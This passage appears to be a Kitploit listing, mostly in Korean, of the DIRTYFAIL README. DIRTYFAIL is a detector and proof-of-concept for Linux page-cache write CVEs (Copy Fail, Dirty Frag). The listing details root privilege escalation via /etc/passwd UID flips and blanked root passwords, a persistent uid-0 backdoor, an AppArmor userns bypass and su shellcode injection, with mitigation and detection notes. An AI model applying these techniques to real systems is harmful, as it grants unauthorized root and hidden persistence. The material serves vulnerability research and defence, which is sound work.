Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DIRTYFAIL — Linux 페이지 캐시 쓰기 취약점 탐지기 및 PoC: Copy Fail (CVE-2026-31431) 및 Dirty Frag (CVE-2026-43284/43500). 승인된 보안 연구 목적으로만 사용하십시오. | Kitploit
도구/GitHubGitHub/karazajac/dirtyfail
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationRed TeamingContainer EscapeBinary ExploitationLabs & Practice
GitHubkarazajac/dirtyfail

DIRTYFAIL

26123개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Linux 페이지 캐시 쓰기 취약점 탐지기 및 PoC: Copy Fail (CVE-2026-31431) 및 Dirty Frag (CVE-2026-43284/43500). 승인된 보안 연구 목적으로만 사용하십시오.

저장소 보기

DIRTYFAIL

Copy Fail 및 Dirty Frag Linux 페이지 캐시 쓰기 취약점 계열을 위한 통합 탐지기 및 PoC 하네스입니다.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL은 보안 연구자를 위한 작고 문서화가 잘 된 C 도구입니다.
이 도구는 Linux 호스트가 이 계열의 세 가지 CVE에 취약한지 탐지하며,
명시적인 타입 확인을 거쳐 — 취약한 시스템에서 호출자를 루트 셸로
떨어뜨리는 실제 proof-of-concept를 실행합니다.

| CVE / 변형 | 이름 | DIRTYFAIL 지원 범위 |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` page-cache write) | 탐지 + 전체 PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP page-cache write          | 탐지 + 전체 PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP page-cache write (`esp6`) | 탐지 + 전체 PoC |
| **CVE-2026-43500**    | Dirty Frag — RxRPC page-cache write                  | 탐지 + 전체 PoC |
| Copy Fail GCM 변형 | xfrm-ESP `rfc4106(gcm(aes))` page-cache write        | 탐지 + 전체 PoC |

**보너스 모드:**

- **`--scan --active`** — sentinel-STORE 능동 프로브. 기본 `--scan`은
  CVE별 전제 조건(커널, 모듈, LSM 상태)과 함께 Copy Fail 프리미티브에 대한
  능동 프로브를 보고합니다. `--active`를 추가하면 sentinel 파일 STORE 프로브가
  나머지 네 가지 프리미티브(ESP v4, ESP v6, RxRPC, GCM)로 확장됩니다.
  각각 `/tmp` 센티널에 대해 커널 트리거를 발화하고, 마커 바이트가 실제로
  기록된 경우에만 VULNERABLE로 보고합니다. 이는 백포트로 패치된 커널
  (전제 조건은 취약하다고 하지만 프로브는 온전하다고 판단)과 패치되지 않은
  커널을 전체 익스플로잇을 실행하지 않고 구분할 수 있는 유일한 방법입니다.
  `/etc/passwd`는 절대 건드리지 않습니다. 커널 빌드별로 V6 STORE 시프트를
  자동 보정합니다.
- **`--exploit-backdoor`** — 지속적 uid-0 백도어: `/etc/passwd`의
  `nologin`/`false`/`sync` 줄을 `dirtyfail::0:0:<pad>:/:/bin/bash`로
  길이에 맞춰 덮어씁니다. 페이지가 축출될 때까지 셸 종료 후에도 유지됩니다.
  상태는 `--cleanup-backdoor`를 위해 `/var/tmp/.dirtyfail.state`에 저장됩니다.
  `dirtyfail` 사용자 이름은 의도적으로 이 프로젝트와 일치하도록 되어 있어
  어떤 감사에서도 즉시 식별할 수 있습니다 — 승인된 red-team 업무에서 다른
  식별자가 필요하면 `src/backdoor.c`의 `NEW_USER`를 변경하세요.
- **AppArmor 우회** — 단일 홉 `change_onexec("crun")` 재실행을 통해
  userns 능력을 유지하는 unconfined 프로필로 전환하여 Ubuntu의
  `apparmor_restrict_unprivileged_userns=1` 정책을 무력화합니다. 각 익스플로잇
  모드는 fork를 통해 내부적으로 처리합니다. 부모는 init 네임스페이스에 남고,
  자식이 우회 과정을 수행하며, 부모는 전역 페이지 캐시를 읽고 `su`를 실행해
  실제 init-ns 루트를 얻습니다. 레거시 `--aa-bypass` 플래그는 우회 메커니즘을
  단독으로 디버깅하기 위해 여전히 존재합니다. [§8.5 아키텍처](#85-architecture-outerinner-fork-based-bypass)를 참조하세요.

## 검증된 동작 환경

DIRTYFAIL은 여러 배포판과 커널 버전에 걸쳐 **경험적으로 종단 간 검증**되었습니다.
아래 매트릭스는 각 배포판의 새 설치에 대해 각 `--exploit-*` 모드를 실행한
모드별 테스트 결과를 반영합니다.

| 배포판 | 커널 | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | 백도어 | SU 셸코드 |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (테스트 안 함) |
| Debian 13.4 | `6.12.86+deb13` | none | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (강화) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**범례:** ✅ 익스플로잇이 성공하여 실제 init-ns 루트를 획득함  · 🛡 완화됨 — 익스플로잇이 커널 버그에 도달할 수 없음 (커널 패치 또는 LSM이 비특권 경로 차단)  · ⏭ 해당 없음 (전제 조건 누락)

### 능동 프로브 검증 (`--scan --active`)

`--active` 플래그는 탐지 중 CVE별로 센티널 파일 STORE 프로브를 추가합니다.
위와 동일한 4개 배포판(Debian, Fedora, AlmaLinux, Ubuntu 26.04)에 대해
프로브 출력을 검증했습니다. 아래 매트릭스는 모드별 프로브 결과를 보여주며
전체 익스플로잇 실제 결과와 일대일로 일치합니다:

| 배포판 | Copy Fail 프로브 | ESP v4 프로브 | ESP v6 프로브 | RxRPC 프로브 | GCM 프로브 |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | 온전함 🛡 | 온전함 🛡 | 온전함 🛡 | 온전함 🛡 | 온전함 🛡 |
| Fedora 44   | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | 온전함 🛡 | LSM 차단 🛡 | LSM 차단 🛡 | LSM 차단 🛡 | LSM 차단 🛡 |

V6 프로브의 STORE 기록 오프셋(Fedora와 Alma에서 8)은 런타임에
`calibrate_v6_shift()`가 발견하는 경험적 `V6_STORE_SHIFT`와 일치합니다.
이는 자동 보정이 커널 빌드 전반에 걸쳐 이전의 하드코딩 상수를 올바르게
대체함을 확인해 줍니다.

¹ GCM과 Backdoor는 `algif_aead`를 로드할 수 있어야 합니다. Ubuntu 24.04는
Copy Fail 완화 조치로 이를 블랙리스트에 등록한
`/etc/modprobe.d/disable-algif_aead.conf`를 제공합니다. 블랙리스트를 제거하면
(예: 해당 완화 조치 이전 커널) 두 모드 모두 종단 간 동작합니다.

² Copy Fail의 algif_aead 경로는 modprobe 블랙리스트로 완화됩니다. 커널의
기저 CVE 프리미티브는 `authencesn`에 도달 가능한지 여부와 관계없이 동일합니다.
xfrm-ESP, RxRPC, GCM 변형은 algif_aead를 거치지 않으므로 모두 동일한 커널에서
기록됩니다.

³ AlmaLinux 10의 `kernel-modules-extra` 패키지는 Minimal 설치에서 기본으로
설치되지 않으므로 `rxrpc.ko`가 디스크에 없습니다. EPEL 또는 AlmaLinux extras
저장소에서 `kernel-modules-extra-$(uname -r)`을 설치하면 모듈이 돌아옵니다.
기본 minimal 설치에서는 RxRPC에 도달할 수 없습니다.

⁴ **Ubuntu 26.04 LTS는 비특권 익스플로잇을 종합적으로 차단합니다.**
제공되는 커널 `7.0.0-15.15`(2026-04-22 출시)는 **메인라인 패치
`f4c50a4034e6`(2026-05-07 병합)보다 약 2주 빠릅니다** — 따라서 버그는 여전히
커널에 존재합니다. Ubuntu의 방어는 커널 패치가 아니라 **AppArmor 강화를 통한
심층 방어**입니다:

- `apparmor_restrict_unprivileged_userns=1`이 기본으로 활성화됩니다.
- `unshare(CLONE_NEWUSER)` 시 커널 수준 AppArmor 적용은 `crun`, `chrome`,
  기본 `unconfined` 등 `(unconfined)` 플래그가 있는 프로필을 포함한 ANY 프로필을
  `audit deny capability`를 가진 `<profile>//&unprivileged_userns (mixed)`
  하위 프로필로 자동 전환합니다. 새 userns 내부의 uid 0은 어떤 capability도
  얻지 못합니다.
- 다른 프로필로의 `change_onexec`는 도움이 되지 않습니다. 명시적인
  `userns,` 권한과 `flags=(unconfined)`를 가진 `crun` 프로필조차 unshare 시
  자동 전환됩니다. `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`로 확인했습니다.
- `newuidmap`/`newgidmap`(setuid root)은 uid_map을 성공적으로 쓰지만,
  이후 `setresuid(0)`은 성공하는 반면 `ioctl(SIOCSIFFLAGS)` 및 기타 모든
  CAP_NET_ADMIN 게이트 syscall은 EPERM을 반환합니다. capability 거부가
  uid별이 아니라 네임스페이스별이기 때문입니다.

DIRTYFAIL 바이너리는 우회를 올바르게 준비하고 2단계에 도달하지만, 새 userns
내부에서 CAP_NET_ADMIN을 획득할 수 없습니다. 익스플로잇 인프라는 우회
기법과 관계없이 LSM 계층에서 차단됩니다. 우리는 `change_onexec(crun)`,
`change_onexec(chrome)`, `aa-exec -p <profile>`, 직접
`unshare(USER|NET) + newuidmap`을 모두 테스트했으며, 모두 동일한
`unprivileged_userns` 하위 프로필을 생성합니다.

**이것은 Canonical의 훌륭한 보안 작업입니다.** 이 버그 클래스는 커널 재빌드
없이 비특권 사용자에 대해 완화됩니다. 이후 안정 업데이트에서 커널 패치 자체도
함께 제공되어 방어를 완성할 가능성이 높습니다.

⁵ **`--exploit-su` 셸코드 주입**은 동일한 Copy Fail algif_aead 4바이트
프리미티브(`cf_4byte_write`)에 의존합니다. Copy Fail이 패치된 커널
(Debian 13.4) 또는 LSM 차단 커널(Ubuntu 26.04 — 다만 algif_aead 경로도
7.0.0-15에서 패치됨)에서는 심기가 진행되지만 검증 단계가 실패하고
("page cache does not match planted shellcode") 자동 되돌리기가
`/usr/bin/su`를 복원합니다. AlmaLinux 10.1(파일 오프셋 `0x45b0`의 진입점)과
Fedora 44(오프셋 `0x1b60`)에서 종단 간 테스트했습니다. ELF 파서는 각
배포판의 PIE 베이스를 독립적으로 처리합니다. Fedora 44의 실제 루트 증거:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

테스트 재현성:

- 각 배포판을 깨끗한 ISO에서 재설치하고, SSH 키 인증 + NOPASSWD sudo를 설정한 후,
  각각에 DIRTYFAIL을 클론하고 빌드했으며, `clean-build` Parallels 스냅샷을 찍은
  다음 `--no-shell`(fadvise + drop_caches를 통한 자동 되돌리기)로 5가지 익스플로잇
  모드를 모두 실행했습니다.
- 경험적 결과 행은 실제 `--exploit-*` 출력을 파싱하여 성공 신호를 찾아 파생됩니다:
  `page cache now reports <user> with uid 0`, `root password field is now empty`,
  `is now uid 0` (백도어), 또는 실패 패턴 중 하나(`write did not land`,
  `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`,
  `page cache not in expected shape`).
- RxRPC 및 Backdoor "실제 루트" 검증을 위해 `echo "" | su - root` /
  `echo "" | su - dirtyfail`을 실행하고 `uid=0(root)` 및 `/etc/shadow` 읽기
  성공을 확인했습니다.

> **승인된 테스트만 허용됩니다.** DIRTYFAIL은 소유했거나 명시적으로 평가를
> 의뢰받은 시스템에서만 사용하세요. 익스플로잇 모드는 커널 페이지 캐시의
> `/etc/passwd`를 손상시킵니다 (디스크의 파일은 절대 건드리지 않습니다).
> 정리는 `dirtyfail --cleanup` 또는
> `echo 3 > /proc/sys/vm/drop_caches`입니다.

---

## 목차

1. [버그 클래스](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 아키텍처 개요](#45-architecture-overview)
5. [빌드](#5-build)
6. [사용법](#6-usage)
7. [DIRTYFAIL이 각 CVE를 탐지하는 방법](#7-how-dirtyfail-detects-each-cve)
8. [DIRTYFAIL이 각 CVE를 익스플로잇하는 방법](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 아키텍처: 외부/내부 fork 기반 우회](#85-architecture-outerinner-fork-based-bypass)
9. [완화 조치](#9-mitigations)
10. [윤리 및 공개](#10-ethics--disclosure)
11. [크레딧](#11-credits)

**관련 문서:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — 시스템 관리자 플레이북: 취약한지 여부, 완화 방법, 모니터링 대상.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — 동일 버그 클래스에 대한 인접 경로(AH, IPCOMP, MACsec, kTLS 등)의 커널 소스 감사.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — 시스템 관리자를 위한 독립형 bash 탐지기(컴파일 불필요).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — 익스플로잇 체인을 위한 즉시 로드 가능한 auditd 규칙.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — 크로스 네임스페이스 폭발 반경 데모.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — `--exploit-su`용 aarch64(ARM64) 셸코드 소스. 하드웨어 테스트 전이며 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 뒤에서만 제공됩니다. `aarch64-linux-gnu-as`로 `src/exploit_su.c`의 해당 바이트를 재생성하여 확인하세요.

---

## 1. 버그 클래스

**페이지 캐시 쓰기** 취약점은 비특권 사용자가 읽기 권한만 있는 파일의
커널 메모리 내 복사본을 수정할 수 있게 합니다. 디스크의 파일은 절대 쓰이지
않으며, 수정 사항은 페이지가 축출될 때까지(`drop_caches`, 메모리 압박, 또는
재부팅) RAM에 유지됩니다.

이 클래스는 `pipe_buffer` 플래그를 남용한 **Dirty Pipe**(CVE-2022-0847)에서
시작되었습니다. Copy Fail과 Dirty Frag는 대신 `struct sk_buff`의 `frag`
멤버를 대상으로 하는 후속입니다. 메커니즘은 항상 동일합니다:

1. 사용자 공간은 읽기 가능한 파일(예: `/etc/passwd`, `/usr/bin/su`)의 페이지
   캐시 페이지를 커널 버퍼의 frag로 `splice()`합니다.
2. 수신 경로가 해당 버퍼에 대해 **제자리(in-place)** 암호화를 실행합니다 —
   동일한 페이지가 연산의 소스이자 대상입니다.
3. 암호화 루틴이 데이터 영역 밖에 "스크래치" STORE(시퀀스 번호 재배열,
   단일 블록 복호화 등)를 수행하며, 이는 사용자 고정 페이지 안에 기록됩니다.
4. 이제 파일의 페이지 캐시 복사본은 페이지가 축출될 때까지 호스트의 모든
   읽기자에 대해 영구적으로 수정됩니다.

이 버그는 경쟁 조건이 아닌 **결정적 논리 결함**이므로 성공률은 사실상 100%이며
실패 시 커널은 패닉하지 않습니다.

---

## 2. CVE-2026-31431 — Copy Fail

* 공개: **2026-04-29**
* 사이트: <https://copy.fail/>
* 원본 PoC (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* 원본 PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* 커밋으로 도입:  `72548b093ee3` (2017)
* 커밋으로 수정:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 안정판)
* 영향 확인:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### 근본 원인

커널의 `algif_aead` 모듈은 `AF_ALG`를 통해 AEAD 암호화 API를 사용자 공간에
노출합니다. `authencesn(hmac(sha256), cbc(aes))` 템플릿은 RFC-4303 ESN
(확장 시퀀스 번호)을 구현하며, 복호화 경로의 일부는 시퀀스 번호를 재배열하기
위해 **4바이트 스크래치 쓰기**를 수행합니다:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

★의 STORE는 일반적인 IPsec 패킷에서는 무해합니다 — skb의 태그 영역 안에 위치하며, 해당 영역은 커널 소유입니다. crypto 템플릿은 src와 dst가 커널 메모리를 가리킨다고 가정합니다.

algif_aead는 이 가정을 위반합니다. 사용자 공간에서 splice()를 받아들이며, 이는 페이지 캐시 페이지를 요청의 scatterlist에 배치합니다. AEAD가 제자리(in-place)에서 실행되므로(req->dst = req->src), 페이지 캐시 페이지는 이제 스크래치 쓰기가 목표로 하는 대상 scatterlist 오프셋에 위치하게 됩니다.

쓰여지는 4바이트는 사용자 공간이 보낸 AAD의 4..7 바이트입니다 — 공격자가 원하는 값으로 채울 수 있는 ESP 헤더의 "seqno_lo" 필드입니다.

네트워크 프리미티브: 공격자가 open(O_RDONLY)할 수 있는 모든 파일의 페이지 캐시에 대한 4바이트 임의 오프셋 쓰기.

악용

가장 간단한 무기화 방법은 /etc/passwd입니다. 일반 사용자 줄은 다음과 같습니다:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
`1000`(UID 필드, 모든 UID 1000–9999에 대해 정확히 4개의 ASCII 바이트)을
`0000`으로 바꾸면 glibc의 `getpwnam()`이 해당 사용자에 대해 uid=0을
보고하게 됩니다. 그러나 PAM은 여전히 디스크의 `/etc/shadow`(변경되지 않은
상태)를 기준으로 인증하므로, `su <user>`는 실제 비밀번호를 묻고, 이를
검증한 다음 `setuid(0)`을 수행합니다. 그리고 페이지 캐시의 `/etc/passwd`
사본이 우리가 root라고 알려주기 때문에 root로 떨어지게 됩니다.

`/etc/shadow`의 무결성은 유지됩니다. 디스크의 `/etc/passwd`도
보존됩니다. 오직 커널의 RAM에 있는 `/etc/passwd` 사본만 손상되며,
이 역시 `drop_caches` 또는 재부팅 전까지만 유지됩니다.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* 공개: **2026-04-30 → 2026-05-08**
* 원본 PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* 연구자: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* 커밋으로 도입됨: `cac2661c53f3` (2017-01-17)
* 커밋으로 수정됨:      `f4c50a4034e6` (mainline net.git, merged 2026-05-07)
* 영향이 확인된 배포판:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### 근본 원인

`esp_input()`는 skb가 non-linear(즉, frags가 있는)인 경우 in-place AEAD
복호화 전에 `skb_cow_data()`를 호출해야 합니다. 그런데 이 코드 경로에는
단락(short-circuit)이 있습니다:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

If the skb has frags but no frag_list, esp_input bypasses skb_cow_data and hands the user-supplied frag straight to the AEAD template. The same authencesn(...) scratch write that powers Copy Fail then lands at file offset (assoclen + cryptlen) of the spliced page.

The 4 STOREd bytes are seq_hi from the SA's replay_esn state — attacker-controlled at SA registration time via the XFRMA_REPLAY_ESN_VAL netlink attribute.

비용: XFRM SA를 등록하려면 CAP_NET_ADMIN이 필요하므로 공격자는 먼저 unshare(CLONE_NEWUSER)를 통해 새로운 사용자 네임스페이스에 진입합니다. 이는 대부분의 배포판에서 기본적으로 허용됩니다 (Ubuntu의 강화된 프로필은 주목할 만한 예외입니다).

결정적으로, 이 프리미티브는 algif_aead Copy Fail 완화 조치가 적용된 상태에서도 작동합니다 — xfrm 경로는 algif_aead를 거치지 않습니다. algif_aead만 블랙리스트에 추가한 방어자는 여전히 Dirty Frag에 취약합니다.

악용

V4bel이 공개한 PoC는 48개의 연속적인 4바이트 STORE를 사용하여 /usr/bin/su의 페이지 캐시 첫 192바이트 위에 192바이트 정적 "root-shell" ELF를 씁니다. 수정 후, execve("/usr/bin/su")는 setuid-root 비트가 그대로 유지된 채 새 ELF 엔트리 포인트를 실행하고, PAM을 완전히 건너뛴 다음, 셸코드 내부에서 execve("/bin/sh")를 실행합니다.

DIRTYFAIL은 두 가지 이유로 더 간단한 /etc/passwd UID 플립 방식을 취합니다 (4바이트 STORE 하나 — Copy Fail과 동일한 대상):

  1. 단일 쓰기 프리미티브 데모로 연구하기 더 쉽습니다.
  2. POSIX_FADV_DONTNEED로 완전히 되돌릴 수 있으며 시스템의 다른 사용자를 위해 /usr/bin/su를 손상된 상태로 남기지 않습니다.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • 공개: 2026-04-29 → 2026-05-08
  • 패치: 2026-05-08 기준 어떤 트리에도 없음; 연구자의 패치 대기 중: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • 연구자: Hyunwoo Kim (@v4bel)
  • 도입 커밋: 2dc334f1a63a (2023-06)

근본 원인

rxkad_verify_packet_1()은 RxRPC 데이터 패킷의 처음 8바이트에 대해 제자리(in-place) pcbc(fcrypt) 단일 블록 복호화를 수행합니다:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
페이지 캐시 페이지가 skb의 frag로 스플라이스되면, 그 위에서
8바이트 복호화가 수행됩니다.

**xfrm-ESP와의 차이점**: STORE되는 8바이트는
`fcrypt_decrypt(C, K)`입니다. 여기서 `C`는 해당 파일 오프셋에 있는
기존 암호문이고, `K`는 공격자가 `add_key("rxrpc", ...)`로 등록한
RxRPC v1 토큰의 세션 키입니다. 공격자는 STORE 값을 직접 제어하지
못하며, `fcrypt_decrypt(C, K)`가 원하는 평문을 생성할 때까지
`K`를 무차별 대입해야 합니다.

`fcrypt`는 **56비트 키**와 8바이트 블록을 사용하는
Andrew File System 암호입니다. 결정적이며 사용자 공간으로 쉽게
포팅됩니다. 또한 키 공간이 충분히 작아서 제약된 8바이트 대상은
제약 예산에 따라 수 밀리초에서 수 초 안에 무차별 대입할
수 있습니다.

**결정적으로, 이 경로에는 네임스페이스 권한이 필요하지 않습니다** —
`add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice`는 모두
권한이 없는 사용자도 사용할 수 있습니다. RxRPC는 Ubuntu의 강화된
userns 프로필(xfrm-ESP가 차단된 환경)에서 그 공백을 메웁니다.
`rxrpc.ko`가 기본 Ubuntu 빌드에 포함되어 있기 때문입니다.

### 악용

전체 익스플로잇:

1. 사용자 공간에서 `K_A`, `K_B`, `K_C`를 무차별 대입하여
   `/etc/passwd` 오프셋 4, 6, 8의 세 STORE가 각각
   `"::"`, `"0:"`, `"0:GGGGGG:"`를 생성하도록 합니다 (마지막 쓰기 우선).
2. 각 `K_i`에 대해 `add_key`로 RxRPC v1 토큰을 등록하고,
   동일한 프로세스에서 가짜 UDP 서버를 상대로 위조된 AF_RXRPC
   핸드셰이크를 수행한 뒤, splice를 통해 `rxkad_verify_packet_1`을 트리거합니다.
3. 이제 `/etc/passwd` 1번째 줄의 페이지 캐시 사본은
   `root::0:0:GGGGGG:/root:/bin/bash`입니다 — 빈 비밀번호 필드.
4. `pam_unix.so nullok`가 포함된 PAM은 빈 비밀번호를 허용하며,
   `su -`로 루트 셸을 획득합니다.

### DIRTYFAIL 적용 범위

DIRTYFAIL은 이 CVE에 대한 **탐지와 전체 PoC를 모두** 제공합니다.

DIRTYFAIL 구현은 `src/dirtyfrag_rxrpc.c`와
`src/fcrypt.c`에 있습니다:

- **fcrypt 암호** (`fcrypt.c`): 56비트 키, 8바이트 블록, 16라운드
  Feistel; 표준 rxkad 프로토콜 S-box. 호출자가 제공한 조건을 충족하는
  평문 후보가 나올 때까지 키 공간을 탐색하는 단일 코어 무차별 대입
  하네스(~18 Mops/s)를 포함합니다.
- **rxkad 체크섬** (`compute_csum_iv`, `compute_cksum`): 커널
  공식을 AF_ALG `pcbc(fcrypt)`를 통해 재현하여 위조된 DATA 패킷의
  wire cksum이 `rxkad_verify_packet`의 검증을 통과하도록 합니다.
- **RxRPC v1 토큰 생성** (`build_rxrpc_v1_token`): XDR 인코딩
  rxkad 토큰이며, 무차별 대입으로 찾은 세션 키와 함께
  `add_key("rxrpc", ...)`로 등록됩니다.
- **AF_RXRPC 클라이언트 + UDP 가짜 서버**: 클라이언트가 호출을
  시작하면, 가짜 서버는 첫 번째 패킷에서 (epoch, cid, callNumber)를
  추출하고 위조된 CHALLENGE를 보내 클라이언트가
  `conn->rxrpc.cipher`에 우리의 키를 설정하도록 합니다.
- **Splice 트리거** (`do_one_trigger`): vmsplice로 위조된 DATA wire
  헤더 → `/etc/passwd`에서 8바이트 splice → splice 파이프 → udp_srv
  → recvmsg가 커널을 `rxkad_verify_packet_1`로 구동 → 8바이트
  STORE.
- **연쇄 암호문 보정이 적용된 3-splice 체인**: K_A / K_B / K_C를
  무차별 대입하고, 패스 사이에 연쇄 암호문 시프트를 적용합니다
  (splice A가 바이트 4..11을 덮어쓴 후 splice B의 6..13 암호문은
  `P_A[2..7]`로 시작하며, C도 B에 대해 동일).

최종 PoC는 `/etc/passwd` 1번째 줄을 다음과 같이 변경합니다:```
root::0:0:GGGGG:/root:/bin/bash

— 빈 암호 필드 — 그리고 execlp("su", "-")를 호출하면 root 셸을 획득한다. pam_unix.so nullok가 빈 암호를 허용하기 때문이다.

비교 및 업스트림 PoC 검증을 위해 V4bel의 exp.c를 참조하라: https://github.com/V4bel/dirtyfrag.


4.5 아키텍처 개요

DIRTYFAIL은 ~10개의 소스 모듈로 빌드된 단일 C 바이너리이다. 전체 구조:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

